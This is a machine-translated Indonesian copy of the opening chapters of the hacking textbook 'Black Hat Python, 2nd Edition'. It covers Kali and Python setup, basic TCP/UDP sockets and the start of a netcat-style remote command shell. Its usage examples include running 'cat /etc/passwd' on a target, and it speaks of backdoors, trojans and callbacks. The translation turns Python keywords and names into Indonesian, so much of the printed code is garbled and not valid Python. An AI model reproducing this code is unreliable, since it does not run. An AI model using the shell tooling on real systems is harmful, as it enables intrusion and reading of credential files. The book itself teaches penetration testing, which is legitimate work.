0% menganggap dokumen ini bermanfaat (0 suara)
168 tayangan188 halaman

Blackhat Python 02 (Indo)

Diunggah oleh

ttst9542
Hak Cipta
© © All Rights Reserved
Kami menangani hak cipta konten dengan serius. Jika Anda merasa konten ini milik Anda, ajukan klaim di sini.
Format Tersedia
Unduh sebagai PDF, TXT atau baca online di Scribd
0% menganggap dokumen ini bermanfaat (0 suara)
168 tayangan188 halaman

Blackhat Python 02 (Indo)

Diunggah oleh

ttst9542
Hak Cipta
© © All Rights Reserved
Kami menangani hak cipta konten dengan serius. Jika Anda merasa konten ini milik Anda, ajukan klaim di sini.
Format Tersedia
Unduh sebagai PDF, TXT atau baca online di Scribd
Anda di halaman 1/ 188

Machine Translated by Google

EDISI ke-2

Python Topi Hitam


Pemrograman Python untuk
Peretas dan Pentester

AKSES AWAL

Justin Seitz dan Tim Arnold

Kata Pengantar oleh Charlie Miller


Machine Translated by Google

TANPA PERS TAMPIL


PROGRAM AKSES EA RLY AM:
UMPAN BALIK SELAMAT DATANG!

Selamat datang di edisi Akses Awal dari Black Hat Python, Edisi ke-2 yang belum diterbitkan
oleh Justin Seitz dan Tim Arnold! Sebagai judul prapublikasi, buku ini mungkin belum lengkap
dan beberapa bab mungkin belum dikoreksi.

Tujuan kami adalah selalu membuat buku terbaik, dan kami menantikan pendapat Anda. Jika
Anda memiliki komentar atau pertanyaan, kirimkan email kepada kami di [email protected].
Jika Anda memiliki masukan khusus untuk kami, harap sertakan nomor halaman, judul buku, dan
tanggal edisi dalam catatan Anda, dan kami pasti akan meninjaunya. Kami menghargai bantuan
dan dukungan Anda!
Kami akan mengirim email kepada Anda saat bab baru tersedia. Sementara itu, selamat
menikmati!
Machine Translated by Google

BLACKHATPYTHON ,
EDISI ke-2
JUSTIN SEITZ DAN TIM ARNOLD
Edisi Akses Awal, 3/12/20

Hak Cipta © 2021 oleh Justin Seitz dan Tim Arnold.

ISBN-10: 978-1-7185-0112-6
ISBN-13: 978-1-7185-0113-3

Penerbit: William Pollock


Editor Eksekutif: Barbara Yien
Editor Produksi: Dapinder Dosanjh
Editor Perkembangan: Frances Saux
Ilustrasi Sampul: Garry Booth
Desain Interior: Studio Octopod
Peninjau Teknis: Cliff Janzen
Penyalin: Bart Reed
Kompositor: Happenstance Type-O-Rama
Korektor: Sharon Wilkey

No Starch Press dan logo No Starch Press adalah merek dagang terdaftar dari No Starch Press, Inc.
Produk dan nama perusahaan lain yang disebutkan di sini mungkin merupakan merek dagang dari
pemiliknya masing-masing. Daripada menggunakan simbol merek dagang di setiap kemunculan
nama merek dagang, kami menggunakan nama tersebut hanya untuk tujuan editorial dan untuk
keuntungan pemilik merek dagang, tanpa maksud untuk melanggar merek dagang tersebut.

Seluruh hak cipta. Tidak ada bagian dari karya ini yang boleh direproduksi atau dikirimkan dalam bentuk
apa pun atau dengan cara apa pun, elektronik atau mekanis, termasuk fotokopi, rekaman, atau dengan
sistem penyimpanan atau pengambilan informasi apa pun, tanpa izin tertulis sebelumnya dari pemilik
hak cipta dan penerbit. .

Informasi dalam buku ini didistribusikan berdasarkan “Apa Adanya”, tanpa jaminan. Meskipun setiap tindakan pencegahan
telah diambil dalam persiapan karya ini, baik penulis maupun No Starch Press, Inc. tidak memiliki tanggung jawab apa
pun kepada orang atau badan mana pun sehubungan dengan kehilangan atau kerusakan apa pun yang disebabkan
atau diduga disebabkan secara langsung atau tidak langsung oleh penulis. informasi yang terkandung di dalamnya.
Machine Translated by Google

ISI

Kata
Pengantar Bab 1: Menyiapkan Lingkungan Python Anda. . . . . . . . . . 1. .
Bab 2: Jaringan: Dasar-dasar. . . . . . . . . . . . . . . . . . . . . . . . . . 9 Bab
3: Jaringan: Soket Mentah dan Sniffing. . . . . . . . . 35 Bab 4: Memiliki
Jaringan dengan Scapy . . . . . . . . . . . . . . . 53 Bab 5: Peretasan
Web . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 71 Bab 6: Memperluas
Proksi Burp . . . . . . . . . . . . . . . . . . . . . . . 93 Bab 7: Perintah dan
Kontrol GitHub . . . . . . . . . . . . . . . 117 Bab 8: Tugas Umum Trojaning
di Windows . . . . . . . . . 127 Bab 9: Bersenang-senang dengan
Eksfiltrasi. . . . . . . . . . . . . . . . . . . . . . . . 139 Bab 10: Peningkatan Hak
Istimewa Windows . . . . . . . . . . . . . . . . 153 Bab 11: Forensik
Ofensif. . . . . . . . . . . . . . . . . . . . . . . . 169

Bab-bab berwarna merah disertakan dalam PDF Akses Awal ini.


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

1
PENYIAPAN ANDA
LINGKUNGAN PYTHON

Ini adalah bagian yang paling tidak


menyenangkan, namun tetap penting, di dalam
buku ini, di mana kita memandu dalam
menyiapkan lingkungan untuk menulis dan menguji
Python. Kami akan melakukan kursus kilat dalam menyiapkan
mesin virtual (VM) Kali Linux, membuat lingkungan virtual
untuk Python 3, dan menginstal lingkungan pengembangan
terintegrasi (IDE) yang bagus sehingga Anda memiliki
semua yang Anda perlukan untuk mengembangkan kode.
Di akhir bab ini, Anda sudah siap untuk mengerjakan latihan dan contoh
Sebelum memulai, jika Anda tidak memiliki klien virtualisasi hypervisor
seperti VMware Player, VirtualBox, atau Hyper-V, unduh dan instal klien tersebut.
Kami juga menyarankan Anda menyiapkan VM Windows 10. Anda bisa
mendapatkan evaluasi VM Windows 10 di sini: https:// developer.microsoft.com/ en-us/
windows/ download/ mesin virtual/.
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Menginstal Kali Linux


Kali, penerus distribusi BackTrack Linux, dirancang oleh Offensive Security sebagai
sistem operasi pengujian penetrasi. Muncul dengan sejumlah alat yang sudah diinstal
sebelumnya dan didasarkan pada Debian Linux, sehingga Anda akan dapat menginstal
berbagai macam alat dan perpustakaan tambahan.
Anda akan menggunakan Kali sebagai mesin virtual tamu Anda. Artinya, Anda akan
mengunduh mesin virtual Kali dan menjalankannya di mesin host Anda menggunakan
hypervi-sor pilihan Anda. Anda dapat mengunduh Kali VM dari https:// www.kali.org/ down-
load/ dan menginstalnya di hypervisor pilihan Anda. Ikuti instruksi yang diberikan
dalam dokumentasi Kali: https:// www.kali.org/ docs/ installation/.
Ketika Anda telah melalui langkah-langkah instalasi, Anda harus melakukannya
memiliki lingkungan desktop Kali penuh, seperti yang ditunjukkan pada Gambar 1-1.

Gambar 1-1: Desktop Kali Linux

Karena mungkin ada pembaruan penting sejak gambar Kali


telah dibuat, mari perbarui mesin dengan versi terbaru. Di Kali shell
(AplikasiÿAksesoriÿTerminal), jalankan perintah berikut:

tim@kali:~$ sudo pembaruan yang tepat


tim@kali:~$ daftar yang tepat --dapat ditingkatkan
tim@kali:~$ sudo peningkatan yang tepat
tim@kali:~$ sudo apt dist-upgrade
tim@kali:~$ sudo apt autoremove

2 Bab 1
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Menyiapkan Python3
Hal pertama yang akan kita lakukan adalah memastikan bahwa versi Python yang benar
telah diinstal. (Proyek dalam buku ini menggunakan Python 3.6 atau lebih tinggi.) Panggil
Python dari shell Kali dan lihat:

tim@kali:~$ python

Ini adalah tampilannya pada mesin Kali kami:

Python 2.7.17 (default, 19 Okt 2019, 23:36:22)


[GCC 9.2.1 20191008] di linux2
Ketik "bantuan", "hak cipta", "kredit" atau "lisensi" untuk informasi lebih lanjut.
>>>

Bukan yang kami cari. Pada saat penulisan ini, versi default Python pada instalasi Kali
saat ini adalah Python 2.7.18.
Tapi ini sebenarnya bukan masalah; Anda juga harus menginstal Python 3:

tim@kali:~$ python3
Python 3.7.5 (default, 27 Okt 2019, 15:43:29)
[GCC 9.2.1 20191022] di linux
Ketik "bantuan", "hak cipta", "kredit" atau "lisensi" untuk informasi lebih lanjut.
>>>

Versi Python yang tercantum di sini adalah 3.7.5. Jika nilai Anda lebih rendah dari 3,6,
tingkatkan distribusi Anda dengan yang berikut:

sudo apt-get perbarui python3

Kami akan menggunakan Python 3 dengan lingkungan virtual, yang merupakan pohon
direktori mandiri yang mencakup instalasi Python dan kumpulan paket tambahan apa pun
yang Anda instal. Lingkungan virtual adalah salah satu alat paling penting bagi pengembang
Python. Dengan menggunakan satu, Anda dapat memisahkan proyek yang memiliki kebutuhan
berbeda. Misalnya, Anda mungkin menggunakan satu lingkungan virtual untuk proyek yang
melibatkan inspeksi paket dan lingkungan virtual lain untuk proyek analisis biner.

Dengan memiliki lingkungan terpisah, proyek Anda tetap sederhana dan bersih.
Hal ini memastikan bahwa setiap lingkungan dapat memiliki rangkaian dependensi dan modulnya
sendiri tanpa mengganggu proyek Anda yang lain.
Mari kita ciptakan lingkungan virtual sekarang. Untuk memulai, kita perlu melakukannya
instal paket python3-venv :

tim@kali:~$ sudo apt-get install python3-venv


[sudo] kata sandi untuk tim:
...

Menyiapkan Lingkungan Python Anda 3


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Sekarang kita dapat membuat lingkungan virtual. Mari kita buat direktori baru
bekerja dan menciptakan lingkungan:

tim@kali:~$ mkdir bhp


tim@kali:~$ cd bhp
tim@kali:~/bhp$ python3 -m venv venv3
tim@kali:~/bhp$ sumber venv3/bin/aktifkan
(venv3) tim@kali:~/bhp$ python

Itu menciptakan direktori baru, bhp, di direktori saat ini. Kami membuat lingkungan
virtual baru dengan memanggil paket venv dengan saklar -m dan nama yang Anda
inginkan untuk lingkungan baru tersebut. Kami menamai kami venv3, tetapi Anda
dapat menggunakan nama apa pun yang Anda suka. Skrip, paket, dan Python yang
dapat dieksekusi untuk lingkungan akan berada di direktori tersebut. Selanjutnya kita
aktifkan environment dengan menjalankan script activation . Perhatikan bahwa
prompt berubah setelah lingkungan diaktifkan. Nama lingkungan ditambahkan ke
prompt biasa Anda ( dalam kasus kami venv3 ). Nanti, ketika Anda siap untuk keluar
dari lingkungan, gunakan perintah nonaktifkan.
Sekarang Anda telah menyiapkan Python dan mengaktifkan lingkungan virtual.
Karena kami menyiapkan lingkungan untuk menggunakan Python 3, saat Anda
memanggil Python, Anda tidak perlu lagi menentukan python3—hanya python saja
yang boleh, karena itulah yang kami instal ke dalam lingkungan virtual. Dengan kata
lain, setelah aktivasi, setiap perintah Python akan berhubungan dengan lingkungan
virtual Anda. Harap dicatat bahwa menggunakan versi Python yang berbeda mungkin
merusak beberapa contoh kode dalam buku ini.
Kita dapat menggunakan pip yang dapat dieksekusi untuk menginstal paket Python
ke dalam lingkungan virtual. Ini mirip dengan manajer paket apt karena memungkinkan
Anda menginstal pustaka Python secara langsung ke lingkungan virtual Anda tanpa harus
mengunduh, membongkar, dan menginstalnya secara manual.
Anda dapat mencari paket dan menginstalnya ke lingkungan virtual Anda dengan
pip:

(venv3) tim@kali:~/bhp: hashcrack pencarian pip

Mari kita lakukan tes cepat dan instal modul lxml , yang akan kita gunakan di
Bab 5 untuk membuat web scraper. Masukkan yang berikut ini ke terminal Anda:

(venv3) tim@kali:~/bhp: pip instal lxml

Anda akan melihat output di terminal Anda yang menunjukkan bahwa


perpustakaan sedang diunduh dan diinstal. Kemudian masuk ke shell Python dan
validasi apakah sudah diinstal dengan benar:

(venv3) tim@kali:~/bhp$ python


Python 3.7.5 (default, 27 Okt 2019, 15:43:29)
[GCC 9.2.1 20191022] di linux
Ketik "bantuan", "hak cipta", "kredit" atau "lisensi" untuk informasi lebih lanjut.
>>> dari lxml impor etree
>>> keluar()
(venv3) tim@kali:~/bhp$

4 Bab 1
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Jika Anda mendapatkan kesalahan atau versi Python 2, pastikan Anda mengikuti semuanya
langkah-langkah sebelumnya dan Anda memiliki Kali versi terbaru.
Ingatlah bahwa untuk sebagian besar contoh dalam buku ini, Anda dapat mengembangkan
kode Anda di berbagai lingkungan, termasuk Mac, Linux, dan Windows. Anda mungkin juga
ingin menyiapkan lingkungan virtual yang berbeda untuk proyek atau bab terpisah. Beberapa
bab khusus untuk Windows, yang pasti akan kami sebutkan di awal bab ini.

Sekarang kita memiliki mesin virtual peretasan dan virtual Python 3


pengaturan lingkungan, mari instal IDE Python untuk pengembangan.

Menginstal IDE
Lingkungan pengembangan terintegrasi (IDE) menyediakan seperangkat alat untuk pengkodean.
Biasanya, ini mencakup editor kode, dengan penyorotan sintaksis dan linting otomatis, serta
debugger. Tujuan dari IDE adalah untuk mempermudah pengkodean dan debug program Anda.
Anda tidak harus menggunakannya untuk memprogram dengan Python; untuk program pengujian
kecil, Anda dapat menggunakan editor teks apa pun (seperti vim, nano, Notepad, atau emacs).
Namun untuk proyek yang lebih besar dan kompleks, IDE akan sangat membantu Anda, baik
dengan menunjukkan variabel yang telah Anda tetapkan tetapi belum digunakan, menemukan
nama variabel yang salah eja, atau menemukan lokasi impor paket yang hilang.

Dalam survei pengembang Python baru-baru ini, dua IDE favorit teratas adalah PyCharm
(yang tersedia versi komersial dan gratis) dan Visual Studio Code (gratis). Justin adalah
penggemar WingIDE (tersedia versi komersial dan gratis), dan Tim menggunakan Visual
Studio Code (VS Code). Ketiga IDE tersebut dapat digunakan di Windows, macOS, atau Linux.

Anda dapat menginstal PyCharm dari https:// www.jetbrains.com/ pycharm/ download/


atau WingIDE dari https:// wingware.com/ downloads/. Anda dapat menginstal VS Code dari baris
perintah Kali:

tim@kali#: kode pemasangan apt-get

Atau, untuk mendapatkan VS Code versi terbaru, unduh dari https:// code
.visualstudio.com/ download/ dan instal dengan apt-get:

tim@kali#: apt-get install -f ./code_1.39.2-1571154070_amd64.deb

Nomor rilis, yang merupakan bagian dari nama file, kemungkinan besar akan berbeda
dengan yang ditampilkan di sini, jadi pastikan nama file yang Anda gunakan cocok dengan yang
Anda unduh.

Kode Kebersihan
Apa pun yang Anda gunakan untuk menulis program, sebaiknya ikuti pedoman pemformatan
kode. Panduan gaya kode memberikan rekomendasi untuk meningkatkan keterbacaan dan
konsistensi kode Python Anda. Ini memudahkan Anda untuk memahami kode Anda sendiri ketika
Anda membacanya nanti atau untuk orang lain jika

Menyiapkan Lingkungan Python Anda 5


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Anda memutuskan untuk membagikannya. Komunitas Python memiliki pedoman seperti itu, yang
disebut PEP 8. Anda dapat membaca panduan lengkap PEP 8 di sini: https:// www.python.org/ dev/ peps/
semangat-0008/.

Contoh-contoh dalam buku ini umumnya mengikuti PEP 8, dengan beberapa perbedaan.
ences. Anda akan melihat bahwa kode dalam buku ini mengikuti pola seperti ini:

1 dari lxml impor etree


dari subproses impor Popen

2 impor argparse
impor mereka

3 def get_ip(nama_mesin): lulus

Pemindai kelas 4:
def __init__(diri):
lulus

5 jika __nama__ == '__utama__':


pindai = Pemindai()
cetak('halo')

Di bagian atas program kami, kami mengimpor paket yang kami butuhkan. Blok import
pertama 1 berbentuk from XXX import YYY type. Setiap baris impor disusun berdasarkan
abjad.
Hal yang sama berlaku untuk impor modul—mereka juga berada dalam urutan abjad 2.
Pengurutan ini memungkinkan Anda melihat sekilas apakah Anda telah mengimpor sebuah paket
tanpa membaca setiap baris impor, dan ini memastikan bahwa Anda tidak mengimpornya. tidak
mengimpor paket dua kali. Tujuannya adalah untuk menjaga kode Anda tetap bersih dan mengurangi
jumlah pemikiran yang harus Anda pikirkan saat membaca ulang kode Anda.
Berikutnya adalah fungsi 3, lalu definisi kelas 4, jika ada.
Beberapa pembuat kode memilih untuk tidak memiliki kelas dan hanya mengandalkan fungsi. Tidak
ada aturan yang tegas di sini, tetapi jika Anda mencoba mempertahankan status dengan variabel
global atau meneruskan struktur data yang sama ke beberapa fungsi, itu mungkin merupakan
indikasi bahwa program Anda akan lebih mudah dipahami jika Anda memfaktorkannya ulang untuk
menggunakan kelas.
Terakhir, blok utama di 5 terbawah memberi Anda kesempatan untuk menggunakan kode
Anda dalam dua cara. Pertama, Anda dapat menggunakannya dari baris perintah. Dalam hal ini,
nama internal modul adalah __main__ dan blok utama dijalankan.
Misalnya, jika nama file yang berisi kode tersebut adalah scan.py, Anda dapat memanggilnya dari
baris perintah sebagai berikut:

python memindai.py

Ini akan memuat fungsi dan kelas di scan.py dan menjalankan fungsi utama
memblokir. Anda akan melihat respons halo di konsol.
Kedua, Anda dapat mengimpor kode Anda ke program lain tanpa efek samping. Misalnya,
Anda akan mengimpor kode dengan

impor pemindaian

6 Bab 1
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Karena nama internalnya adalah nama modul Python, scan, dan bukan __main__, Anda
memiliki akses ke semua fungsi dan kelas modul yang ditentukan, tetapi blok utama tidak dijalankan.

Anda juga akan melihat bahwa kami menghindari variabel dengan nama umum. Semakin
baik Anda dalam memberi nama variabel, semakin mudah untuk memahami programnya.

Anda harus memiliki mesin virtual, Python 3, lingkungan virtual,


dan sebuah IDE. Sekarang mari kita bersenang-senang!

Menyiapkan Lingkungan Python Anda 7


Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

2
KERJA BERSIH: DASAR-DASAR

Jaringan adalah dan akan selalu menjadi arena terseksi


bagi seorang hacker. Seorang penyerang bisa melakukannya

hampir semua hal dengan akses jaringan sederhana, seperti


memindai host, menyuntikkan paket, mengendus data, dan
mengeksploitasi host dari jarak jauh. Namun jika Anda telah berusaha
mencapai target perusahaan yang paling dalam, Anda mungkin akan
menghadapi sedikit teka-teki: Anda tidak memiliki alat untuk melakukan
serangan jaringan. Tidak ada netcat.

Tidak ada Wireshark. Tidak ada kompiler, dan tidak ada cara untuk
menginstalnya. Namun, Anda mungkin terkejut saat mengetahui bahwa
dalam banyak kasus, Anda akan menginstal Python. Jadi di situlah kita
akan mulai.
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Bab ini akan memberi Anda beberapa dasar tentang jaringan Python menggunakan modul
socket1 . Sepanjang jalan, kami akan membangun klien, server, dan proxy TCP.
Kami kemudian akan mengubahnya menjadi netcat kami sendiri, lengkap dengan shell perintah.
Bab ini adalah dasar untuk bab-bab berikutnya, di mana kita akan membangun alat penemuan
host, mengimplementasikan sniffer lintas platform, dan membuat kerangka kerja trojan jarak
jauh. Mari kita mulai.

Jaringan Python dalam Paragraf


Pemrogram memiliki sejumlah alat pihak ketiga untuk membuat server dan klien jaringan
dengan Python, namun modul inti untuk semua alat tersebut adalah soket.
Modul ini memaparkan semua bagian yang diperlukan untuk menulis klien dan server Protokol
Kontrol Transmisi (TCP) dan Protokol Datagram Pengguna (UDP) dengan cepat,
menggunakan soket mentah, dan sebagainya. Untuk tujuan membobol atau mempertahankan
akses ke mesin target, modul inilah yang Anda perlukan.
Mari kita mulai dengan membuat beberapa klien dan server sederhana—dua skrip jaringan
cepat paling umum yang akan Anda tulis.

Klien TCP
Berkali-kali selama pengujian penetrasi, kami (penulis) perlu menyiapkan klien TCP untuk
menguji layanan, mengirim data sampah, fuzz, atau melakukan sejumlah tugas lainnya. Jika
Anda bekerja dalam lingkungan perusahaan besar, Anda tidak akan memiliki kemewahan
menggunakan alat atau kompiler jaringan, dan terkadang Anda bahkan kehilangan dasar-
dasar mutlak, seperti kemampuan untuk menyalin/menempel atau menyambung ke internet.
Di sinilah kemampuan membuat klien TCP dengan cepat menjadi sangat berguna.

Tapi cukup mengoceh—mari kita mulai coding. Berikut ini adalah klien TCP sederhana:

soket impor

target_host = "www.google.com"
target_pelabuhan = 80

# membuat objek soket


1 klien = soket.socket(socket.AF_INET, soket.SOCK_STREAM)

# menghubungkan klien
2 klien.koneksi((target_host,target_port))

# kirim beberapa data


3 klien.kirim(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")

# menerima beberapa data


4 respons = klien.recv(4096)

cetak(respons.decode())
klien.tutup()

1. Dokumentasi soket lengkap dapat ditemukan di sini: http:// docs.python.org/ 3/ library/ socket.html.

10 Bab 2
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Pertama-tama kita membuat objek soket dengan parameter AF_INET dan SOCK_STREAM
1. Parameter AF_INET menunjukkan bahwa kita akan menggunakan alamat atau nama host
IPv4 standar, dan SOCK_STREAM menunjukkan bahwa ini akan menjadi klien TCP. Kami
kemudian menghubungkan klien ke server 2 dan mengirimkannya beberapa data sebagai byte 3.
Langkah terakhir adalah menerima kembali beberapa data dan mencetak respon 4 lalu menutup
soket. Ini adalah bentuk klien TCP yang paling sederhana, namun merupakan yang paling
sering Anda tulis.
Cuplikan kode ini membuat beberapa asumsi serius tentang soket yang pasti ingin Anda
waspadai. Asumsi pertama adalah koneksi kita akan selalu berhasil, dan asumsi kedua adalah
server mengharapkan kita mengirimkan data terlebih dahulu (beberapa server mengharapkan
mengirimkan data kepada Anda terlebih dahulu dan menunggu tanggapan Anda). Asumsi kami
yang ketiga adalah server akan selalu mengembalikan data kepada kami tepat waktu. Kami
membuat asumsi-asumsi ini terutama demi kesederhanaan. Meskipun pemrogram mempunyai
beragam pendapat tentang cara menangani soket pemblokiran, penanganan pengecualian
pada soket, dan sejenisnya, sangat jarang bagi pentester untuk memasukkan hal-hal ini ke
dalam alat mereka yang cepat dan kotor untuk pekerjaan pengintaian atau eksploitasi, jadi
kami akan melakukannya hilangkan mereka dalam bab ini.

Klien UDP
Klien Python UDP tidak jauh berbeda dengan klien TCP; kita hanya perlu membuat dua
perubahan kecil agar dapat mengirim paket dalam bentuk UDP:

soket impor

target_host = "127.0.0.1"
target_port = 9997

# membuat objek soket


1 klien = soket.socket(socket.AF_INET, soket.SOCK_DGRAM)

# kirim beberapa data


2 klien.kirim ke(b"AAABBBCCC",(target_host,target_port))

# menerima beberapa data


3 data, addr = client.recvfrom(4096)

cetak(data.decode())
klien.tutup()

Seperti yang Anda lihat, kami mengubah tipe soket menjadi SOCK_DGRAM 1 saat
membuat objek soket. Langkah selanjutnya cukup memanggil sendto() 2, meneruskan data dan
server tujuan pengiriman data. Karena UDP adalah protokol tanpa koneksi, tidak ada panggilan
ke connect() sebelumnya. Langkah terakhir adalah memanggil recvfrom() 3 untuk menerima
kembali data UDP. Anda juga akan melihat bahwa ia mengembalikan data dan rincian host dan
port jarak jauh.
Sekali lagi, kami tidak ingin menjadi pemrogram jaringan yang unggul; kami ingin ini cepat,
mudah, dan cukup andal untuk menangani tugas peretasan kami sehari-hari. Mari beralih ke
pembuatan beberapa server sederhana.

Jaringan: Dasar-dasar 11
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Server TCP
Membuat server TCP dengan Python semudah membuat klien. Anda mungkin ingin
menggunakan server TCP Anda sendiri saat menulis shell perintah atau membuat
proxy (keduanya akan kita lakukan nanti). Mari kita mulai dengan membuat server
TCP multi-thread standar. Keluarkan kode berikut:

soket impor
impor threading

IP = '0.0.0.0'
PELABUHAN = 9998

def utama()
server = soket.socket(socket.AF_INET, soket.SOCK_STREAM)
1 server.bind((IP, PORT))
2 server.dengarkan(5)
print(f'[*] Mendengarkan di {IP}:{PORT}')

sementara Benar:

3 klien, alamat = server.accept()


print(f'[*] Koneksi diterima dari {address[0]}:{address[1]}')
client_handler = threading.Thread(target=handle_client, args=(client,))

4 klien_handler.mulai()

5 def handle_client(klien_socket):
dengan client_socket sebagai kaus kaki:
permintaan = kaus kaki.recv(1024)
print(f'[*] Diterima: {request.decode("utf-8")}')
kaus kaki.kirim(b'ACK')

jika __nama__ == '__utama__':


utama()

Untuk memulai, kita memasukkan alamat IP dan port yang kita ingin server daftarkan pada 1.
Selanjutnya, kita memberitahu server untuk mulai mendengarkan 2, dengan back-log maksimum
koneksi diatur ke 5. Kita kemudian menempatkan server ke loop utamanya, di mana ia menunggu
koneksi masuk. Ketika klien terhubung 3, kami menerima soket klien di variabel klien dan detail
koneksi jarak jauh di variabel alamat . Kami kemudian membuat objek thread baru yang menunjuk
ke fungsi handle_client kami , dan kami meneruskannya ke objek soket klien sebagai argumen.

Kami kemudian memulai thread untuk menangani koneksi klien 4, pada titik mana
loop server utama siap untuk menangani koneksi masuk lainnya. Fungsi
handle_client 5 menjalankan recv() dan kemudian mengirimkan pesan sederhana
kembali ke klien.
Jika Anda menggunakan klien TCP yang kami buat sebelumnya, Anda dapat mengirimkan beberapa tes
paket ke server. Anda akan melihat output seperti berikut:

[*] Mendengarkan pada 0.0.0.0:9998


[*] Koneksi diterima dari: 127.0.0.1:62512
[*] Diterima: ABCDEF

12 Bab 2
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

Itu dia! Meskipun cukup sederhana, ini adalah bagian kode yang sangat berguna. Kami
akan memperluasnya di beberapa bagian berikutnya, saat kami membuat pengganti netcat dan
proxy TCP.

Mengganti Netcat
Netcat adalah pisau utilitas jaringan, jadi tidak mengherankan jika administrator sistem yang
cerdik menghapusnya dari sistem mereka. Alat yang berguna seperti itu akan sangat berguna
jika penyerang berhasil menemukan jalan masuk. Dengan alat ini, Anda dapat membaca dan
menulis data di seluruh jaringan, artinya Anda dapat menggunakannya untuk menjalankan
perintah jarak jauh, meneruskan file bolak-balik, atau bahkan buka shell jarak jauh.
Pada lebih dari satu kesempatan, saya menemukan server yang tidak menginstal netcat
tetapi memiliki Python. Dalam kasus ini, akan berguna untuk membuat klien dan server
jaringan sederhana yang dapat Anda gunakan untuk mendorong file, atau pendengar yang
memberi Anda akses baris perintah. Jika Anda telah membobol aplikasi web, ada baiknya
Anda menghapus callback Python untuk memberi Anda akses sekunder tanpa harus terlebih
dahulu membakar salah satu trojan atau pintu belakang Anda.
Membuat alat seperti ini juga merupakan latihan Python yang bagus, jadi mari kita mulai
menulis netcat.py:

impor argparse
soket impor
impor shlex
subproses impor
sistem impor
impor bungkus teks
impor threading

def jalankan(cmd):
cmd = cmd.strip()
jika tidak cmd:
kembali
1 keluaran = subproses.check_output(shlex.split(cmd),
stderr=subproses.STDOUT)
kembalikan keluaran.decode()

Di sini, kami mengimpor semua perpustakaan yang diperlukan dan menyiapkan eksekusi
fungsi, yang menerima perintah, menjalankannya, dan mengembalikan output sebagai string.
Fungsi ini berisi perpustakaan baru yang belum kita bahas: perpustakaan subproses . Pustaka ini
menyediakan antarmuka pembuatan proses yang kuat yang memberi Anda sejumlah cara untuk
berinteraksi dengan program klien. Dalam kasus 1 ini, kami menggunakan metode check_output ,
yang menjalankan perintah pada sistem operasi lokal dan kemudian mengembalikan output dari
perintah tersebut.

Sekarang mari kita buat blok utama yang bertanggung jawab menangani baris perintah
argumen dan memanggil fungsi kami yang lain:

jika __nama__ == '__utama__':


parser = argparse.ArgumentParser( 1
deskripsi='Alat BHP Net',

Jaringan: Dasar-dasar 13
Machine Translated by Google

Black Hat Python (Akses Awal) © 2021 oleh Justin Seitz dan Tim Arnold

formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent('''Contoh: 2
netcat.py -t 192.168.1.108 -p 5555 -l -c # perintah shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt # unggah ke file
netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" # jalankan perintah
gema 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # gema teks ke port server 135
netcat.py -t 192.168.1.108 -p 5555 # sambungkan ke server
'''))
parser.add_argument('-c', '--command', action='store_true', help='command shell') 3
parser.add_argument('-e', '--execute', help='jalankan perintah yang ditentukan')
parser.add_argument('-l', '--listen', action='store_true', help='listen')
parser.add_argument('-p', '--port', type=int, default=5555, help='port yang ditentukan')
parser.add_argument('-t', '--target', default='192.168.1.203', help='IP yang ditentukan')
parser.add_argument('-u', '--upload', help='unggah file')
args = parser.parse_args()
jika args.dengarkan: 4
''
penyangga
= lain:
penyangga = sys.stdin.read()

nc = NetCat(args, buffer.encode())
nc.jalankan()

Kami menggunakan modul argparse dari perpustakaan standar untuk membuat antarmuka
baris perintah 1. Kami akan memberikan argumen sehingga dapat dipanggil untuk mengunggah
file, menjalankan perintah, atau memulai shell perintah.
Kami memberikan contoh penggunaan yang akan ditampilkan oleh program ketika pengguna
memanggilnya dengan --help 2 dan menambahkan enam argumen yang menentukan bagaimana
kita ingin program berperilaku 3. Argumen -c menyiapkan shell interaktif, -e
argumen mengeksekusi satu perintah tertentu, argumen -l menunjukkan bahwa pendengar
harus diatur, argumen -p menentukan port untuk berkomunikasi, argumen -t menentukan IP
target, dan argumen -u menentukan nama a file yang akan diunggah. Baik pengirim maupun
penerima dapat menggunakan program ini, sehingga argumennya menentukan apakah program
ini dipanggil untuk mengirim atau mendengarkan. Argumen -c, -e, dan -u menyiratkan argumen
-l , karena argumen tersebut hanya berlaku pada sisi pendengar komunikasi. Sisi pengirim
membuat koneksi ke pendengar, sehingga hanya membutuhkan -t dan -p

argumen untuk menentukan target pendengar.


Jika kita menyiapkannya sebagai pendengar 4, kita memanggil objek NetCat dengan
string buffer kosong. Jika tidak, kami mengirimkan konten buffer dari stdin.
Terakhir, kami memanggil metode run untuk memulainya.
Sekarang mari kita mulai memasang pipa untuk beberapa fitur ini, dimulai dengan
kode klien kita. Tambahkan kode berikut di atas kode utama
memblokir:

kelas NetCat:
1 def __init__(mandiri, argumen, buffer=Tidak ada):
diri.args = args
mandiri.buffer = penyangga
2 self.socket = soket.socket(socket.AF_INET, soket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, soket.SO_REUSEADDR, 1)

14 Bab 2
Machine Translated by Google

